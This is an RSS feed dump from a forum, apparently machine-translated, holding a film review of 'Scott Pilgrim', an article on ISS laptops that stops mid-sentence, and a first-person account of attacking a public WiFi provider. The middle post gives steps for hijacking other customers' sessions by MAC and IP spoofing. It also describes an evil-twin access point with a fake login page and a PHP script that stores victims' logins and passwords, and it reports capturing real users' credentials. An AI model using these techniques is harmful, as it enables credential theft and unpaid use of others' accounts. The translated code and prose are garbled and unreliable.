						&lt;p&gt;Основна концепція &amp;quot;Скотта&amp;quot; до 2004 року вже була відпрацьована в багатьох коміксах, мультфільмах і навіть деяких фільмах. Підкреслено реалістичне, буденне розповідь іноді наче переноситься в паралельний світ, де у персонажів проявляються надприродні здібності. Які, втім, не змінюють суті героїв. Так, кохана Скотта може подорожувати через підпростір і діставати казна-звідки величезний бойовий молот (останнє - цитата з &amp;quot;Ранми 1 / 2&amp;quot;), але при цьому Рамона - не замаскована супергероїню з іншої планети, а банальний кур&#039;єр інтернет-магазину. Пам&#039;ятаєте сцену у фільмі &amp;quot;Джей і Мовчазний Боб наносять удар у відповідь&amp;quot;, в якій герої раптово починають битися на світлових мечах, не перетворюючись при цьому в джедаїв? &amp;quot;Скотт&amp;quot; влаштований так само.&lt;/p&gt;
						&lt;p&gt;Здавалося б, дивна сюжетна ідея, однак вона ідеально підходить для розповіді про покоління, яке звикло приходити додому після нудного дня, сідати перед ігровою приставкою і кілька годин поспіль рятувати Всесвіт. Як ще розповідати про молодих хлопців, наполовину живуть у мріях і не завжди впевнених, де кінчається ельф і починається Вася? Особливо якщо творець не пов&#039;язаний бюджетом &amp;quot;Клерків&amp;quot; і може робити з мальованими героями що завгодно.&lt;/p&gt;
						&lt;p&gt;Які б дивовижні події не відбувалися час від часу в &amp;quot;Скотті&amp;quot;, в основі оповіді були зрозумілі і впізнавані ситуації. Заголовний герой - типовий &amp;quot;слекер&amp;quot;, артистичний ледар з середнього класу, який нічим особливим не займається, іноді грає на бас-гітарі в аматорській рок-групі, працює тільки тоді, коли припікає з грошима, мріє про життя музичної легенди, однак частіше ходить на вечірки , чим виступає на них. Загалом, не поганий, але по-справжньому не мотивований хлопець, чиє головне досягнення до 23 років - враження, вироблене на закохалася в нього старшокласницю-китаянку. Пам&#039;ятайте головного героя &amp;quot;Ананасовий експрес&amp;quot;? Дуже схожий персонаж. Тільки молодший, лінивіше і не наркоман.&lt;/p&gt;
						&lt;p&gt;Як ви вже зрозуміли, життя Скотта здійснює крутий поворот, коли хлопець знайомиться з Рамоном. По-перше, дівчина трохи старша за нього і життєвого досвіду у неї більше. Так що спілкування з Рамоном саме по собі починає витягувати Скотта з болота, в яке хлопець себе загнав. По-друге, у дівчини виявляється &amp;quot;багаж&amp;quot; - сім злісних &amp;quot;колишніх&amp;quot;, що присягнулися розправитися з усіма новими хлопцями Рамониних. І хоча любов дає хлопцю надлюдські сили, кожна перемога над &amp;quot;колишнім&amp;quot; стає для Скотта перемогою над собою - а також шансом духовно вирости, перетворившись у результаті в чоловіка, гідного Рамониних.&lt;/p&gt;
						&lt;p&gt;Коли перший 170-сторінковий том &amp;quot;Скотта&amp;quot; з&#039;явився на прилавках, його продажу студію Oni не надихнули. Лі-О&#039;Меллі був мало кому відомий, у &amp;quot;Пілігрима&amp;quot; не було особливої рекламної підтримки, а графічний стиль книги багатьом здався занадто примітивним, навіть аматорським.&lt;/p&gt;
						&lt;p&gt;На щастя для автора, його врятували критики і читачі, що дали &amp;quot;Скотту&amp;quot; шанс. Ті, хто прочитав книгу від початку до кінця, оцінили її жваві діалоги, несподівані сюжетні повороти і привабливих персонажів. Знайшлися і захисники графіки, які визнали, що стиль Брайана простий, але виразний, і що оповідання, збудоване навколо упізнаваних героїв і &amp;quot;декорацій&amp;quot;, не обов&#039;язково має бути детально промальовано. Який сенс працювати над деталями холостяцьким квартири або обіду з суші, якщо художнику досить натякнути, щоб пам&#039;ять читачів забезпечила подробиці?&lt;/p&gt;
						&lt;p&gt;У результаті другий том &amp;quot;Скотта&amp;quot;, що вийшов в 2005 році, зацікавлені читачі чекали з нетерпінням, а наступні книги зробили &amp;quot;Пілігрима&amp;quot; культової річчю і важливою подією в світі несупергеройскіх західних коміксів. Причому однією з перших успіх Лі-О&#039;Меллі визнали голлівудців зі студії Universal, що купили права на екранізацію ще до появи другого тому у продажу.&lt;br /&gt;Типу круті ледарі&lt;/p&gt;
						&lt;p&gt;При всіх достоїнствах сценарних &amp;quot;Скотта&amp;quot;, комікс потребував режисера, який би міг відчути його стиль і передати у фільмі як щирість, так і іронію &amp;quot;Пілігрима&amp;quot;. Ймовірно, найбільш підходящим постановником картини був Кевін Сміт, але Universal зволіла іншого досвідченого фахівця з &amp;quot;слекерам&amp;quot; - британського комедіографа Едгара Райта.&lt;/p&gt;
						&lt;p&gt;У Росії, так само як і в Америці, про Райт вперше дізналися завдяки пародійної комедії &amp;quot;Зомбі на ім&#039;я Шон&amp;quot;. Саме після її прем&#039;єри Universal запропонувала Райту &amp;quot;Пілігрима&amp;quot;. Проте до 2005 року за плечима режисера вже було десять років роботи у британському кіно і на ТБ, а його головним досягненням до &amp;quot;Шона&amp;quot; вважався &amp;quot;слекерскій&amp;quot; ситком Spaced, просочений жартами для глядачів, що обожнюють обговорювати &amp;quot;Зоряні війни&amp;quot; і &amp;quot;графічні романи&amp;quot; (вони ж &amp;quot;серйозні комікси&amp;quot;). При цьому стилістично Spaced був дуже схожий на &amp;quot;Пілігрима&amp;quot;, і він теж балансував на межі реалізму і фантастики. Єдиною істотною відмінністю ситкому від &amp;quot;Скотта&amp;quot; було те, що британські персонажі виявилися старше героїв Лі-О&#039;Меллі. Проте тридцять і двадцять три розрізняються не так сильно, як двадцять і тринадцять.&lt;/p&gt;
						&lt;p&gt;Художник спланував &amp;quot;Скотта&amp;quot; як шеститомник, до моменту купівлі прав на комікс були готові лише дві книжки і загальний сюжет, а тому форсувати роботу над картиною не мало сенсу. Так як екранізувати належало весь комікс цілком, і у разі виходу стрічки в 2007-м або 2008-м голлівудців повинні були або видати всі таємниці &amp;quot;Пілігрима&amp;quot;, або придумати власну історію, натхненну коміксом. Замість цього було вирішено сумістити видання шостого тому і вихід фільму. А оскільки Лі-О&#039;Меллі підрядився писати по книжці на рік, то подвійну прем&#039;єру призначили на 2010-й.&lt;/p&gt;
						&lt;p&gt;Відповідно, у Райта було достатньо часу, щоб випустити в 2007-м екшен-комедію &amp;quot;Типу круті лягаві&amp;quot; і закріпитися в пам&#039;яті глядачів, а заодно попрактикуватися у постановці більш дорогого і технічно складного кіно, ніж він знімав раніше. Хоча бюджет &amp;quot;лягаві&amp;quot; був всього 8 мільйонів фунтів стерлінгів - у два рази більше, ніж у &amp;quot;Шона&amp;quot;, але все одно копійки за американськими мірками.&lt;/p&gt;
						&lt;p&gt;Поки Райт знімав в Англії, а початківець сценарист Майкл Беколл, якому пророкують велике голлівудське майбутнє, сидів над текстом майбутнього фільму, продюсери придивлялися до молодим акторам, які могли б зіграти в &amp;quot;Скотті&amp;quot;. І, мабуть, ніхто від затримки зйомок &amp;quot;Пілігрима&amp;quot; не виграв більше, ніж канадець Майкл Сера. Його кар&#039;єра почалася в 1999-му, але всесвітня популярність до нього прийшла як раз в 2007 році, після виходу &amp;quot;SuperПерцев&amp;quot; і &amp;quot;Джуно&amp;quot;. Щоправда, його наступні картини були не настільки вдалі, і образ Скотта для нього - відмінний шанс надолужити згаяне. Або підтвердити, що колишній успіх був випадковим.&lt;/p&gt;
						&lt;p&gt;Кар&#039;єрним випробуванням фільм став і для виконавиці ролі Рамониних. У середині минулого десятиліття Мері Елізабет Вінстед (серіал &amp;quot;Вовче озеро&amp;quot;, &amp;quot;Пункт призначення 3&amp;quot;, &amp;quot;Чорне Різдво&amp;quot;) вважалася новою зіркою, проте після появи в 2007 році &amp;quot;Міцного горішка 4&amp;quot; і &amp;quot;Грайндхаус&amp;quot; актриса практично не знімалася. З іншого боку, в наступному році ми побачимо її в сіквелі-рімейку &amp;quot;Щось&amp;quot;, так що у Вінстед буде ще один шанс відродити свою кар&#039;єру.&lt;/p&gt;
						&lt;p&gt;Ми можемо перерахувати всіх &amp;quot;колишніх&amp;quot; Рамониних і розповісти, хто вони такі і які у них здібності, але в цьому випадку нам довелося б викласти більшу частину сюжетних секретів фільму. Тому ми обмежимося тим, що перерахуємо чотирьох найбільш відомих виконавців злодійських ролей &amp;quot;Скотта&amp;quot;. Це Кріс Еванс (&amp;quot;Фантастична Четвірка&amp;quot;), Брендон Рут (&amp;quot;Повернення Супермена&amp;quot;), Джейсон Шварцман (&amp;quot;Потяг на Дарджілінг&amp;quot;, &amp;quot;Академія Рашмор&amp;quot;) і Мей Уітмен (Катару в анімаційному серіалі &amp;quot;Аватар&amp;quot;). Так, ви правильно зрозуміли. Уітмен - дівчина. Минуле Рамониних було бурхливим і різноманітним.&lt;/p&gt;
						&lt;p&gt;Природно, крім ворогів у головних героїв &amp;quot;Пілігрима&amp;quot; є і друзі. Зокрема, це Уоллас, сусід Скотта по орендованій квартирі, молодша сестра Скотта Стейсі та музиканти Стівен і Кім, партнери Пілігрима по рок-групі Sex Bob-omb. Їх зіграли відповідно Кіран Калкін (молодший брат Маколея та старший брат Рорі, що знімався в &amp;quot;Розкішною життя&amp;quot;), Ганна Кендрік (&amp;quot;Мені б в небо&amp;quot;), Марк Уеббер (&amp;quot;Психоаналітик&amp;quot;, &amp;quot;Дорога Венді&amp;quot;) і Елісон Пілл (&amp;quot; Харві Мілк &amp;quot;, серіал&amp;quot; На лікуванні &amp;quot;).&lt;br /&gt;Кров скасовується&lt;/p&gt;
						&lt;p&gt;Коли голлівудські продюсери вирішують, де буде зніматися дорога картина, вони часто починають з питання, чи не можна організувати зйомки в Канаді. Навіть якщо дія розвивається в легко впізнаваних містах на зразок Нью-Йорка. У випадку &amp;quot;Скотта&amp;quot;, однак, обговорення не знадобилося, оскільки герої коміксу живуть в Торонто і найбільший канадський місто вряди-годи зміг зіграти сам себе. Цікаво, переживають чи канадці з-за того, що герої голлівудських стрічок рідше приїжджають в їхню країну, ніж, наприклад, до Праги (куди регулярно переноситься дію шпигунських бойовиків)? Якщо так, то вони напевно працювали над &amp;quot;Пілігрима&amp;quot; з подвійним ентузіазмом.&lt;/p&gt;
						&lt;p&gt;Хто точно працював з ентузіазмом, так це провідні актори &amp;quot;Скотта&amp;quot;. По-перше, як уже говорилося, для багатьох з них картина - важливий кар&#039;єрний шанс показати себе публіці не в артхаусне драмі і не в шаблонної комедійної ролі. По-друге, як у кожному заслуживающем поваги режисера живе бажання поставити епік з тисячами статистів, так і кожна гідна актор мріє про трюкової кіно. Особливо якщо грає тільки в малобюджетніках. Тому підготовку для участі в екшен-сценах пройшли навіть ті зірки, кому не треба було битися на екрані. Кіран Калкін, наприклад, нагострив у володінні мечем і &amp;quot;зробив&amp;quot; колег на імпровізованому фехтувальному турнірі.&lt;/p&gt;
						&lt;p&gt;Навчити всіх акторів битися було важливо, оскільки в &amp;quot;Скотті&amp;quot;, на відміну від супергеройських стрічок, майже немає персонажів у масках. Тому Райт не міг передати більшу частину екшену каскадерам, і зіркам фільму довелося виконати багато трюків, покладені на них сценарієм. Окрім, зрозуміло, найнебезпечніших. Важче за все, зрозуміло, довелося Майклу Сірка, раніше не знімався в екшені, але, за свідченням очевидців, він виглядав у несподіваній для себе ролі набагато краще, ніж можна було очікувати від хлопця з &amp;quot;SuperПерцев&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Інша справа, що насильство в &amp;quot;Скотті&amp;quot; зовсім не таке, як у недавній та ідейно схожою стрічці &amp;quot;Пипець&amp;quot;. Якщо Меттью Вон зробив картину максимально брутальною, то Райт прагнув відтворити атмосферу підліткових бойовиків. Тобто багато гумору, багато фізично неможливих трюків, але ніякої крові і &amp;quot;расчлененки&amp;quot;, ніяких вибитих зубів і навіть великих синців. Когось це може розчарувати, але погодьтеся, що романтична комедія і фонтани крові погано поєднуються. До того ж сенс боїв &amp;quot;Скотта&amp;quot; не в тому, щоб когось жорстоко вбити, а в тому, щоб з&#039;ясувати стосунки і довести, що Пілігрим - справжній герой.&lt;/p&gt;
						&lt;p&gt;У числі перших, хто побачив монтажну версію фільму, були ті, кого Universal могла б запросити як режисера, і стрічка сподобалася всім трьом - Кевіну Сміту, Квентіну Тарантіно та Джейсону Рейтмену. Хоча, звичайно, голлівудців в такій ситуації рідко критикують колег, і справжнє випробування чекає &amp;quot;Скотта&amp;quot; в прокаті. Коли, зокрема, з&#039;ясується, що більше подобається глядачам - садистський &amp;quot;Пипець&amp;quot; або ліричний &amp;quot;Пілігрим&amp;quot;. На наш погляд, цей бій буде ще цікавіше, ніж поєдинки в обох картинах, так як від його результату може багато чого залежати в подальшій історії комікс-екранізацій.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:18:34 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=21#p21</guid>
		</item>
		<item>
			<title>Повітряний друшляк: історія злому великого бездротового провайдера</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=20#p20</link>
			<description>&lt;p&gt;&amp;quot;Бездротовий Інтернет в кожен дім&amp;quot; - вельми привабливий гасло. Погодься, приємно, коли твій провайдер, ще якихось 5 років тому надавав модемний доступ, за лічені дні розгортає в маси WiFi-інфраструктуру по всьому місту (ну або хоча б у його центрі). Здавалося б, збулася мрія ідіота, і тепер ти, сидячи в Макдональдсі і куштуючи третій макфреш, зможеш насолодитися швидким інтернетом. Але, придивившись уважно, ти розумієш, що так не буває - безпека провайдера, а значить і всіх його клієнтів, залишає бажати кращого. Щоб не бути голослівною, пропоную твоїй увазі випадок неформального аудиту нещодавно народилася мережі. І, хто знає, може бути ти переконаєшся в його правдивості на своєму горе-провайдера.&lt;/p&gt;
						&lt;p&gt;Давай заздалегідь домовимося: щоб дотриматися етикету і не ставити в незручне становище мого провайдера, я не буду називати конкретні сайти і бренди (кому треба, той все зрозуміє сам). Тим більше, за законом нічого порушено не було - аудит виконувався виключно під своїми, чесно купленими акаунтами. Та й мета цієї статті - не зганьбити честь якоїсь компанії, а лише вказати на загальні недоліки WiFi-інфраструктури, які, напевно, присутні у найбільших провайдерів.&lt;br /&gt;Перші розчарування&lt;/p&gt;
						&lt;p&gt;Отже, повернемося до маркетингу. Уяви собі великий російський місто-мільйонник, в якому рекламщики засурмили гаслами: &amp;quot;Бездротовий, швидкий і зручний Інтернет!&amp;quot;, &amp;quot;Насолоджуйся Мережею в улюбленому кафе&amp;quot; і т.д. і т.п. Коли у тебе в місті з&#039;являється така можливість, то відразу хочеться її реалізувати. Адже, погодься, зручно (а для москвичів і петербуржців вже давно звично - прим. Ред.) Сидіти в якому-небудь кафе зі своїм вірним другом-ноутбуком і спілкуватися по асьці про справи насущні.&lt;/p&gt;
						&lt;p&gt;Але, трохи поспілкувавшись, випробувавши серію розривів і дісконект, я відчула нотки перших розчарувань. І навіть не тому, що канал слабенький, а тому що при повторному Коннекті (навіть через 10 хвилин) не було потрібно повторної авторизації.&lt;/p&gt;
						&lt;p&gt;Це що ще таке? Значить, я плачу за доступ, а провайдер зовсім не піклується про мою безпеку (адже всі сесії після мого відходу теоретично можуть бути доступні іншим людям!). Після такого здивування мені захотілося трохи посніфать сітку, а потім перевірити припущення.&lt;/p&gt;
						&lt;p&gt;Як законослухняна дівчина, я не стала сніфаем компи відвідувачів великого кафе (сидять на тому ж бездротовому інтернеті). Замість цього я запросила одного з ноутбуком:). Він пригостив мене чашкою кави і став імітувати бурхливу діяльність в Мережі (запустив аську, контакт, перевірив пошту і т.п.).&lt;br /&gt;Нюхаємо і ... задихаємося!&lt;/p&gt;
						&lt;p&gt;Я ж, не гаючи часу, запустила WireShark і стала моніторити периметр. Серед пакетів я відразу побачила SSL-рукостискання на сайті провайдера ...&lt;/p&gt;
						&lt;p&gt;До речі, як відбувається авторизація з&#039;єднання: спочатку клієнт конектиться до незахищеної WEP / WPA-точці, потім звертається браузером на будь-який сайт в Мережі і редірект на сторінку авторизації. Там він вводить логін і пароль особистого рахунку (поповнюваного шляхом відправки SMS-повідомлення на спеціальний номер), і після цього, по всій видимості, на роутері створюється правило, що дозволяє юзати інтернет.&lt;/p&gt;
						&lt;p&gt;Так от, після зашифрованою SSL-авторизації я побачила зовсім незакріптованние паролі від ВКонтакте і пошти, злегка заXOR&#039;енние пассворд від Аськи (які легко розкриваються тим же Ufasoft Sniffer або InterCepter&#039;ом) та непристойні прямі посилання на порносайти (зовсім вже нікого не соромиться ...:). Я не згадую про інших клієнтів цієї мережі (їх я не аналізувала, оскільки спеціально поставила фільтр на IP-адресу одного, щоб не порушувати закон).&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://www.xakep.ru/post/53065/1.png&quot; alt=&quot;http://www.xakep.ru/post/53065/1.png&quot; /&gt;&lt;br /&gt;Але, як то кажуть, якщо зовсім хочеться, то можна (і навіть потрібно!) Трохи порушити (але тільки для розширення кругозору:). Знаючи IP і MAC-адреси, які фігурують у периметрі (а вони пізнаються аналізом ARP-повідомлень), можна легко їх проспуфіть.&lt;/p&gt;
						&lt;p&gt;На сайті провайдера написано, що перед відключенням від Мережі необхідно завершити сесію шляхом натискання кнопки &amp;quot;Вихід&amp;quot; на авторизационном сайті, інакше аккаунт буде доступний ще деякий час після відключення. Це нам тільки на руку, оскільки далеко не кожен клієнт буде цим морочитися:).&lt;/p&gt;
						&lt;p&gt;Отже, за допомогою хорошої програми зі зміни МАС-адрес &amp;quot;MACChange&amp;quot; (або вручну, хто як любить) змінимо адресу свого бездротового адаптера на відомий нам МАС сусіда.&lt;/p&gt;
						&lt;p&gt;Не забудемо привласнити собі його IP. Потім спробуємо підключитися до мережі. Про диво, виявляється, провайдер допускає як DHCP-, так і Static-адресацію. І, таким чином, можна насолоджуватися красою бездротового інтернету безкоштовно. А точніше, за чужий рахунок!&lt;br /&gt;А що, якщо? ..&lt;/p&gt;
						&lt;p&gt;Ну, раз вже ми порушили закон заради експерименту, спробуємо поглибити і розширити наш досвід. Що б ще такого придумати, щоб показати всі недоліки нашої бездротової мережі? Відразу ж приходить думка про організацію MitM-атаки, шляхом інсталяції підставний точки. Але тут вже в кафе не схильні.&lt;/p&gt;
						&lt;p&gt;Для проведення такого досвіду нам необхідно мати декілька компонентів: веб-сервер, точку доступу і ноутбук для тестування.&lt;/p&gt;
						&lt;p&gt;Мені довелося йти додому, шукати на антресолях завалявся DIR-300 і налаштувати на ньому DHCP-сервер. SSID точки я визначила аналогічним кодом оператора.&lt;/p&gt;
						&lt;p&gt;В якості веб-сервера я вибрала компактний і зручний &amp;quot;Small HTTP Server&amp;quot;. Багато слів вже було сказано про цього малюка. Мені особисто подобається його зручний інтерфейс і, незважаючи на досить невеликі розміри, широкий функціонал.&lt;/p&gt;
						&lt;p&gt;Піднімемо на ньому WEB-і DNS-сервери, щоб при спробі зайти на яку-небудь веб-сторінку користувача направляло на HTML-сторінку, нагадує згаданий сайт реєстрації в мережі оператора. Тепер створимо PHP-скриптик, який зберігає вводиться на сайті інформацію в окремий txt-файл.&lt;/p&gt;
						&lt;p&gt;&amp;lt;? Php&lt;br /&gt;$ Filename = &#039;S: \ home \ localhost \ www \ info.txt&#039;;&lt;br /&gt;$ A = $ _GET [&#039;login&#039;];&lt;br /&gt;$ B = $ _GET [&#039;password&#039;];&lt;br /&gt;$ Somecontent = &amp;quot;- Логін - \ n&amp;quot;. $ A. &amp;quot;- Пароль - \ n&amp;quot;. $ B. &amp;quot;- \ n&amp;quot;;&lt;br /&gt;/ / Перевірка існування і доступу для запису файлу.&lt;br /&gt;if (is_writable ($ filename))&lt;/p&gt;
						&lt;p&gt;if (! $ handle = fopen ($ filename, &#039;r&#039;)) {&lt;br /&gt;echo &amp;quot;Не можу відкрити файл ($ filename)&amp;quot;;&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;if (! fwrite ($ handle, $ somecontent)) {&lt;br /&gt;echo &amp;quot;Не можу записати у файл ($ filename)&amp;quot;;&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;else {echo &amp;quot;&amp;quot;;}&lt;br /&gt;echo &amp;quot;Записано ($ somecontent) у файл ($ filename)&amp;quot;;&lt;br /&gt;fclose ($ handle);&lt;br /&gt;} Else {&lt;br /&gt;echo &amp;quot;Файл $ filename недоступний для запису&amp;quot;;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/p&gt;
						&lt;p&gt;Підстава готова, запускаємо!&lt;br /&gt;MitM в дії&lt;/p&gt;
						&lt;p&gt;План крадіжки логіна і пароля від мережі такий: користувач активує свій бездротової адаптер і намагається підключитися до мережі. При цьому в списку доступних мереж він бачить підставну точку доступу з тим же SSID, що і в комерційного оператора. Система виносить її на перший порядок, оскільки сигнал від неї сильніше операторського. Далі клієнт підключається до цієї точки, заходить у свій браузер і потрапляє на сторінку авторизації. Ця сторінка також має схожий з сторінкою оператора інтерфейс. Користувач, нічого не підозрюючи, вводить свої реквізити у відповідні поля. При натисканні на кнопку &amp;quot;увійти&amp;quot;, запроваджені ним дані зберігаються за допомогою PHP-скрипта в текстовий файл на сервері. А клієнт залишається без інтернету (і, звичайно ж, без логіна з паролем:) - прим. ред.).&lt;/p&gt;
						&lt;p&gt;Щоб нічого не випустити з уваги, пробуємо авторизуватись на підставний точці доступу: вводимо реквізити, тиснемо &amp;quot;увійти&amp;quot; ... далі нічого не відбувається, як здається звичайній юзеру, але скрипт вже зробив свою брудну дільце і дані збережені на сервері. Відкриємо цей файл і подивимося його вміст. Вуаля! Ось дані, які ми ввели, і сюрприз: хтось вже підключився до нашої точки доступу і тепер є ще пара логінів і паролів для входу в мережу. У такій ситуації навіть SSL-авторизація не рятує від крадіжки реквізитів.&lt;/p&gt;
						&lt;p&gt;Пацієнт скоріше живий, аніж мертвий&lt;/p&gt;
						&lt;p&gt;Що можна тут сказати? Найстрашніше, що таких мереж більше половини по всій країні (тільки мені відомі чотири великі міста-мільйонника з подібною схемою авторизації). І ніхто не може гарантувати легітимність небажаних користувачів. При цьому власники сервісів практично ніколи не попереджають своїх клієнтів про уразливість їх даних, про ризики крадіжки інформації. Всі жадають збільшення прибутку, нехтуючи при цьому всіма методами забезпечення безпеки, оскільки це призводить до зниження швидкості передачі даних і ускладнює процес налаштування клієнтського обладнання (і, відповідно, отримання доступу до мережі).&lt;/p&gt;
						&lt;p&gt;Тому хочу наостанок дати добру пораду: звертай увагу на точки доступу, до яких ти підключаєшся, і не передавай важливу інформацію в незахищених мережах (або використовуй при цьому VPN-з&#039;єднання), оскільки це може призвести до фатальних наслідків.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:17:20 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=20#p20</guid>
		</item>
		<item>
			<title>Комп&#039;ютери в космосі</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=19#p19</link>
			<description>&lt;p&gt;Ти коли-небудь чув про те, які комп&#039;ютери астронавти NASA використовують у космосі? Інформація про це якщо і мелькала в ЗМІ, то мимохіть. Природно, народженим повзати не надто багато розповідали про це. А між тим космічні станції вимагають найкращого і надійного &amp;quot;заліза&amp;quot;, обладнаного за останнім словом техніки. Тому вимоги до комп&#039;ютерів, які астронавти використовують в шатлах і на МКС, максимально посилені. Який виробник виявився достойним всіх і зарекомендував себе з кращого боку?&lt;br /&gt;Земля в ілюмінаторі&lt;/p&gt;
						&lt;p&gt;Але перед тим як перейти до конкретних прикладів, непогано б познайомитися безпосередньо з космічним &amp;quot;домом&amp;quot;. На сьогодні він один - орбітальна міжнародна космічна станція (МКС). Тривіально звучить, але кому, як не величезної махині, завислої в невагомості, потрібно така ж величезна (у кількісному еквіваленті) обчислювальна техніка? Тому не дивно, що NASA витрачає величезні статки на так званий парк комп&#039;ютерної техніки.&lt;/p&gt;
						&lt;p&gt;У момент схрещування космонавтики з інформаційними технологіями розвиток і того й іншого було досить обмеженим. А тому симбіоз даних структур дав значимий поштовх у прогресі як &amp;quot;зоряної&amp;quot; техніки, так і наземної. За останні двадцять з копійками років ринок запропонував NASA і супутнім організаціям величезний вибір так званих готових COTS-систем (Commercial Off-The-Shelf). По суті їх &amp;quot;залізна&amp;quot; частина ні в чому не поступається тій, що використовується в звичайних дискретних комп&#039;ютерах. Тільки от на перший план виходить не максимальний параметр обчислювальної потужності, а надійність, надійність і ще раз надійність. На сьогоднішній день МКС налічує більше сотні керуючих електронних систем. Причому частина комп&#039;ютерів знаходиться зовні станції (у спеціальних герметичних відсіках), тобто у відкритому космосі.&lt;/p&gt;
						&lt;p&gt;Наприклад, до таких належать ЕОМ з управління лопатями сонячних батарей і роботизованою технікою. Дані &amp;quot;десктопи&amp;quot; абсолютно не схожі на їх земних побратимів. Природно, там немає HID&#039;ов і графічних компонентів. Всі комп&#039;ютери складаються в стандартизованих корпусах (крейта), які за допомогою знову ж спеціальних інтерфейсів підключаються до магістрально-модульною системою. Дана технологія вибрана не випадково. У місцях підвищеної радіації (особливо зовні) відбуваються часті відмови комп&#039;ютерів. У середньому за рік на МКС доводиться міняти близько двадцяти одиниць обчислювальної техніки. А тому кваліфікований космонавт ще є і справжнім техноманьяком.&lt;/p&gt;
						&lt;p&gt;Основою всіх модульних комп&#039;ютерів МКС і до цього дня є процесор Intel 386. Даний &amp;quot;камінь&amp;quot; до моменту створення орбітальної станції як раз відповідав рівню продуктивності. Сьогодні назвати його героєм нічних казок техноманів язик не повернеться, але в 1985 році 32-бітний чип справив фурор. Частота &amp;quot;триста вісімдесят шостого&amp;quot; становила колосальні 40 МГц. При цьому мікронний техпроцес дозволяв не використовувати охолодження для пристрою. Крім зоряного &amp;quot;камінчика&amp;quot; Intel більшість крейта додатково забезпечені чіпами, які виконують певну роботу. Наприклад, в центральному посту управління космічні десктопи оснащені математичним співпроцесором, збільшеним об&#039;ємом пам&#039;яті, а також додатковим (читай - аварійним) блоком живлення.&lt;/p&gt;
						&lt;p&gt;Але головне &amp;quot;зброю&amp;quot; МКС завжди повинне знаходитися в руках екіпажу станції. Саме тому всі члени космічного &amp;quot;вдома&amp;quot; мають переносні ноутбуки. Якщо раніше зоряні кораблі були нашпиговані електронними приладами, рукоятками перемикачів і аварійними клавішами, то сьогодні приміщення МКС нагадує гладкі напівпорожні тунелі з великою кількістю цифрових панелей, до яких підключається лептоп. Управління основними модулями станції проводиться тільки за рахунок мобільних гаджетів. Причому можливість перенесення ноута в різні частини МКС дозволяє віддавати команди станції не тільки з центрального поста управління, а з будь-якого місця, обладнаного належними інтерфейсами. Причиною використання лептопів в космосі стала не тільки їх природна мобільність. Справа в тому, що подібні пристрої легко модернізувати або ж взагалі замінити. Якщо апаратна начинка МКС залишається незмінною, то &amp;quot;залізо&amp;quot; космобука, в залежності від складності програмного забезпечення, змінюється при необхідності. Такий підхід дозволяє не змінювати &amp;quot;нутрощі&amp;quot; станції десятиліттями, лише періодично оновлюючи парк мобільних девайсів.&lt;br /&gt;IBM на орбіті&lt;/p&gt;
						&lt;p&gt;Поява перших лептопів відбулося в 1993 році, коли компанія IBM і належне їй відділення, що займається лептопами, уклало договір з NASA на поставку своїх потужних девайсів серії ThinkPad. За своїм апаратним характеристикам ноутбуки були дуже і дуже просунуті. Забезпечення такими пристроями космічних Шаталов полегшило б роботу астронавтів на орбіті. У надрах корпусу перших &amp;quot;космічних лептопів&amp;quot; лежав мобільний процесор Intel i386, 8 Мбайт оперативної пам&#039;яті і жорсткий диск на кілька десятків мегабайт. Комп&#039;ютери зарекомендували себе з кращого боку і прослужили астронавтам аж до кінця 90-х років, коли на зміну прийшло перше оновлення. Ти напевно запитаєш, як астронавти примудрялися працювати на ноутбуках з 386 процесором протягом семи років? Все дуже просто - не дивлячись на деяке відставання, дані ноутбуки були призначені насамперед для збору даних і управління окремими елементами космічного обладнання, а з цим завданням вони справлялися на всі сто. Не було веселеньких ресурсномістких утиліт, вимогливих графічних оболонок. І оскільки потужності для повсякденних завдань у космосі вистачало сповна, а самі пристрої здавалися підвалини надійності, астронавтам просто не було потрібно нічого більшого - лептопи працювали прекрасно, та й обладнання було заточене під програмне забезпечення стареньких ThinkPad.&lt;br /&gt;Апгрейд в космосі&lt;/p&gt;
						&lt;p&gt;Проте час минав, і банальний знос ноутбуків ThinkPad першого покоління міг вплинути на успіх роботи в космосі. У 2000 році було прийнято рішення повністю проапгрейдить мобільний парк лінійки ThinkPad на більш сучасні аналоги. Новинки були встановлені на МКС, яка на той час вже отримала систему життєзабезпечення, і в ній могли залишатися астронавти. Наворочені на ті часи ThinkPad, з процесором Pentium Mobile III, 128 мегабайтами оперативної пам&#039;яті, HDD на 20 Гбайт і відеокартою ATI Rage, вирушили на підкорення космосу, де вони використовуються і до цього дня. У 2004 році одноманітність старого модельного ряду розбавили ноутбуки ThinkPad на платформі Centrino першого покоління, з процесорами Pentium M, 512 Мбайт оперативної пам&#039;яті та спеціальної збіркою Windows XP.&lt;/p&gt;
						&lt;p&gt;На сьогоднішній день готується чергове оновлення ноутбуків на МКС і космічних кораблях. Незважаючи на те, що підрозділ ThinkPad було в 2005 році викуплено у IBM компанією Lenovo, добра традиція з виробництва якісних і надійних ноутбуків лінійки ThinkPad триває вже новим власником. При цьому розвиток апаратної і програмної частини ПК трохи сповільнилося. За десять років, в принципі, не змінилося нічого: Windows XP продовжує активно функціонувати і поставляється з левовою часткою нетбуків; процесори Intel Pentium III 800 МГц до цих пір стоять в багатьох офісних машинах і показують схожу з процесорами Atom 1660 МГц продуктивність, якої, в принципі , вистачає для більшості сучасних завдань. Якщо ж згадати період з кінця 80-х по кінець 90-х за аналогічний проміжок часу, то темп розвитку мікроелектроніки був значно вище, тому як в 2000 вже практично не використовувалася операційна система DOS, а мікропроцесор i386 для &amp;quot;домашніх&amp;quot; завдань повністю застарів і не був би придатний. Саме тому функціонують на орбіті ноутбуки ThinkPad ще не один рік будуть служити на благо розвитку космосу. Їх поступово витіснятимуть новіші і досконаліші моделі, і можна з певною упевненістю заявити, що співпраця Lenovo і NASA продовжиться і далі - аж надто добре ноутбуки ThinkPad 